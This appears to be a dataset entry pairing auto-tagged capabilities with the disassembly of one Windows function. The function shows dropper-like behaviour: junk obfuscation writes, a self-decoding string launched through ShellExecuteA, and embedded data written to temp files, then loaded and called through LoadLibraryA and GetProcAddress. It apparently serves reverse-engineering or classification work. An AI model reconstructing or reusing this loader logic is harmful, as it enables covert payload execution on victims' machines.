Function at 0x401500
Capabilities:
Create process on windows
Get common file path
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov eax, dword [0x46f120]
mov dword [ebp - 0x10], eax
push edi
mov ax, word [0x407118]
mov word [ebp - 0x380], ax
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x250], edx
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
mov byte [ebp - 0x371], 0
mov byte [ebp - 5], 0
mov byte [ebp - 0x256], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x378], 0
mov byte [ebp - 0x229], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x118], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x370], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x36f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x228], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x227]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x24c], 0
xor edx, edx
mov dword [ebp - 0x24b], edx
mov dword [ebp - 0x247], edx
mov dword [ebp - 0x243], edx
mov dword [ebp - 0x23f], edx
mov dword [ebp - 0x23b], edx
mov dword [ebp - 0x237], edx
mov dword [ebp - 0x233], edx
mov word [ebp - 0x22f], dx
mov byte [ebp - 0x22d], dl
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x254], 0x7f
mov byte [ebp - 0x379], 0
mov byte [ebp - 0x255], 0
mov byte [ebp - 0x257], 0
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
lea edx, [ebp - 0x118]
push edx
call fcn.00401130
add esp, 4
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
lea ecx, [ebp - 0x370]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edx, dword [ebp - 0x250]
movsx eax, byte [edx]
cmp eax, 0x5f
jne 0x4017a0
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
mov edx, dword [str.dwoknqdq_dwd]
mov dword [ebp - 0x390], edx
mov eax, dword [0x407120]
mov dword [ebp - 0x38c], eax
mov ecx, dword [0x407124]
mov dword [ebp - 0x388], ecx
mov dl, byte [0x407128]
mov byte [ebp - 0x384], dl
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov dword [ebp - 0x394], 0
jmp 0x40171b
mov ecx, dword [ebp - 0x394]
add ecx, 1
mov dword [ebp - 0x394], ecx
lea edx, [ebp - 0x390]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x394], eax
jge 0x401750
mov eax, dword [ebp - 0x394]
movsx ecx, byte [ebp + eax - 0x390]
add ecx, 1
mov edx, dword [ebp - 0x394]
mov byte [ebp + edx - 0x390], cl
jmp 0x40170c
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
lea ecx, [ebp - 0x370]
push ecx
lea edx, [ebp - 0x390]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
jmp 0x4017ff
mov ecx, dword [ebp - 0x250]
movsx edx, byte [ecx]
cmp edx, 0x2e
jne 0x4017ba
mov byte [ebp - 0x255], 1
jmp 0x402047
mov eax, dword [ebp - 0x250]
movsx ecx, byte [eax]
cmp ecx, 0x24
jne 0x4017ff
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov byte [ebp - 0x257], 1
mov byte [ebp - 0x255], 1
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
jmp 0x402047
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp + eax - 0x118]
mov dword [ebp - 0xc], edx
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x118]
sub ecx, edx
cmp ecx, 1
jle 0x40184d
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x40184d
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
jmp 0x401827
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x401863
mov edx, dword [ebp - 0xc]
movsx eax, byte [edx + 1]
test eax, eax
jne 0x40186a
xor eax, eax
jmp 0x4023a1
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x264], ecx
mov edx, dword [ebp - 0x264]
movsx eax, byte [edx]
cmp eax, 0x5c
jne 0x4018a2
mov ecx, dword [ebp - 0x264]
lea edx, [ebp - 0x118]
cmp ecx, edx
jbe 0x4018a2
mov eax, dword [ebp - 0x264]
sub eax, 1
mov dword [ebp - 0x264], eax
jmp 0x401873
mov ecx, dword [ebp - 0x264]
lea edx, [ebp - 0x118]
cmp ecx, edx
ja 0x4018b9
xor eax, eax
jmp 0x4023a1
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x25c], eax
mov ecx, dword [ebp - 0x264]
movsx edx, byte [ecx]
cmp edx, 0x3a
je 0x40193b
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x401902
mov edx, dword [ebp - 0x264]
lea eax, [ebp - 0x118]
cmp edx, eax
jbe 0x401902
mov ecx, dword [ebp - 0x264]
sub ecx, 1
mov dword [ebp - 0x264], ecx
jmp 0x4018d3
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x40192a
xor eax, eax
jmp 0x4023a1
mov edx, dword [ebp - 0x264]
add edx, 1
mov dword [ebp - 0x264], edx
jmp 0x40194a
mov eax, dword [ebp - 0x264]
sub eax, 1
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
lea eax, [ebp - 0x228]
push eax
movsx eax, byte [ebp - 0x228]
cdq
mov ecx, 5
idiv ecx
add edx, 6
push edx
lea edx, [ebp - 0x24c]
push edx
call fcn.004011e0
add esp, 0xc
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x118]
sub ecx, edx
add ecx, 1
push ecx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x24c]
push edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
push 0x40712c
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
lea ecx, [ebp - 0x228]
push ecx
call fcn.00402630
add esp, 4
test eax, eax
je 0x401b1a
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea eax, [ebp - 0x370]
push eax
mov ecx, dword [ebp - 0x250]
push ecx
lea edx, [ebp - 0x228]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov byte [ebp - 0x379], 1
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
mov edx, dword [ebp - 0x250]
mov byte [edx], 0x6b
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov ecx, dword [ebp - 0x25c]
sub ecx, dword [ebp - 0x264]
add ecx, 2
push ecx
mov edx, dword [ebp - 0x264]
push edx
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
lea edx, [ebp - 0x370]
push edx
movsx eax, byte [ebp - 0x370]
cdq
mov ecx, 5
idiv ecx
add edx, 6
push edx
lea edx, [ebp - 0x24c]
push edx
call fcn.004011e0
add esp, 0xc
push 0x105
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.004027e0
add esp, 0xc
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x118]
sub edx, eax
add edx, 1
push edx
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
lea eax, [ebp - 0x228]
push eax
call fcn.00402630
add esp, 4
test eax, eax
je 0x401c47
mov byte [ebp - 0x379], 1
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
mov edx, dword [ebp - 0x250]
mov byte [edx], 0x6b
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push 0x1a
call fcn.00401370
add esp, 4
mov dword [ebp - 0x11c], eax
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
cmp dword [ebp - 0x11c], 0
jne 0x401c89
jmp 0x40239f
mov byte [ebp - 0x256], 0
mov dl, byte [ebp - 0x256]
mov byte [ebp - 5], dl
mov al, byte [ebp - 5]
mov byte [ebp - 0x371], al
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
movzx edx, byte [ebp - 0x379]
test edx, edx
jne 0x401cce
mov eax, dword [ebp - 0x250]
movsx ecx, byte [eax]
cmp ecx, 0x6b
jne 0x401cdd
movzx edx, byte [ebp - 0x229]
test edx, edx
je 0x402013
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
call fcn.004023b0
mov byte [ebp - 0x371], al
movsx ecx, byte [ebp - 0x371]
test ecx, ecx
je 0x401fce
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
movsx eax, byte [ebp - 0x371]
test eax, eax
je 0x401d2a
mov byte [ebp - 5], 0x6b
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
lea edx, [ebp - 0x228]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push 0x407130
lea ecx, [ebp - 0x228]
push ecx
call fcn.004026f0
add esp, 8
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
lea eax, [ebp - 0x118]
push eax
push 8
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp + eax - 0x228]
push edx
call fcn.004011e0
add esp, 0xc
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push 0x407134
lea ecx, [ebp - 0x228]
push ecx
call fcn.004026f0
add esp, 8
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0x407138
lea eax, [ebp - 0x228]
push eax
call fcn.004026f0
add esp, 8
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
movsx edx, byte [ebp - 5]
cmp edx, 0x6b
jne 0x401fcc
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
movsx ecx, byte [ebp - 0x371]
cmp ecx, 0x31
jl 0x401e42
movsx edx, byte [ebp - 0x371]
cmp edx, 0x38
jle 0x401e5a
movsx eax, byte [ebp - 0x371]
cmp eax, 0x61
jl 0x401e9d
movsx ecx, byte [ebp - 0x371]
cmp ecx, 0x64
jg 0x401e9d
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov al, byte [ebp - 5]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0x16000
push 0x409030
call section..text
add esp, 0x10
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
lea ecx, [ebp - 0x228]
push ecx
call fcn.00402630
add esp, 4
test eax, eax
je 0x401fcc
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x398], eax
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
cmp dword [ebp - 0x398], 0
je 0x401fcc
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0x1c
call fcn.00401370
add esp, 4
mov dword [ebp - 0x378], eax
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
push str.tvf1
mov edx, dword [ebp - 0x398]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46f3a0], eax
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
movsx ecx, byte [ebp - 0x371]
push ecx
call dword [0x46f3a0]
mov byte [ebp - 0x256], al
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov eax, dword [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
jmp 0x402011
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x378]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
jmp 0x402047
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov eax, dword [ebp - 0x250]
mov cl, byte [eax]
mov byte [ebp - 0x256], cl
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
movsx ecx, byte [ebp - 0x256]
test ecx, ecx
jne 0x40206e
movsx edx, byte [ebp - 0x371]
test edx, edx
jne 0x402079
movzx eax, byte [ebp - 0x229]
test eax, eax
je 0x402092
movzx ecx, byte [ebp - 0x229]
test ecx, ecx
je 0x402347
cmp dword [ebp - 4], 0x78
jle 0x402347
mov dword [ebp - 4], 0
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov byte [ebp - 0x256], 0x6b
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
lea ecx, [ebp - 0x228]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0x407144
lea eax, [ebp - 0x228]
push eax
call fcn.004026f0
add esp, 8
mov dword [ebp - 0x254], 0x7f
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
lea edx, [ebp - 0x370]
push edx
push 0xb
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp + eax - 0x228]
push ecx
call fcn.004011e0
add esp, 0xc
push 0x407148
lea edx, [ebp - 0x228]
push edx
call fcn.004026f0
add esp, 8
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
push str.xe_
lea ecx, [ebp - 0x228]
push ecx
call fcn.004026f0
add esp, 8
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0x407150
lea eax, [ebp - 0x228]
push eax
call fcn.004026f0
add esp, 8
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
lea edx, [ebp - 0x228]
push edx
call fcn.00402630
add esp, 4
test eax, eax
je 0x4021f8
movzx eax, byte [ebp - 0x257]
test eax, eax
je 0x402218
mov cl, byte [ebp - 0x256]
push ecx
lea edx, [ebp - 0x228]
push edx
push 0x50000
push 0x41f038
call section..text
add esp, 0x10
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x264], ecx
mov edx, dword [ebp - 0x264]
mov byte [edx], 0x22
mov eax, dword [ebp - 0x264]
add eax, 1
mov dword [ebp - 0x264], eax
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
movzx edx, byte [ebp - 0x257]
test edx, edx
je 0x402283
mov eax, dword [ebp - 0x264]
mov byte [eax], 0x24
mov ecx, dword [ebp - 0x264]
add ecx, 1
mov dword [ebp - 0x264], ecx
lea edx, [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x264]
push eax
call fcn.004026e0
add esp, 8
movzx ecx, byte [ebp - 0x229]
test ecx, ecx
jne 0x4022e1
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
push 0x407154
lea eax, [ebp - 0x370]
push eax
call fcn.004026f0
add esp, 8
mov ecx, dword [ebp - 0x250]
push ecx
lea edx, [ebp - 0x370]
push edx
call fcn.004026f0
add esp, 8
push 0x407158
lea eax, [ebp - 0x370]
push eax
call fcn.004026f0
add esp, 8
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
lea edx, [ebp - 0x370]
push edx
lea eax, [ebp - 0x228]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [0x46f03c]
add ecx, 0x11a
mov byte [0x46f03c], cl
movzx edx, byte [ebp - 0x255]
test edx, edx
jne 0x40239f
cmp dword [ebp - 0x11c], 0
je 0x40239f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [0x46f03c]
add eax, 0x11a
mov byte [0x46f03c], al
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
movsx edx, byte [0x46f03c]
add edx, 0x11a
mov byte [0x46f03c], dl
mov byte [ebp - 0x229], 1
jmp 0x401c89
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.004026c5
pop edi
mov esp, ebp
pop ebp
ret 0x10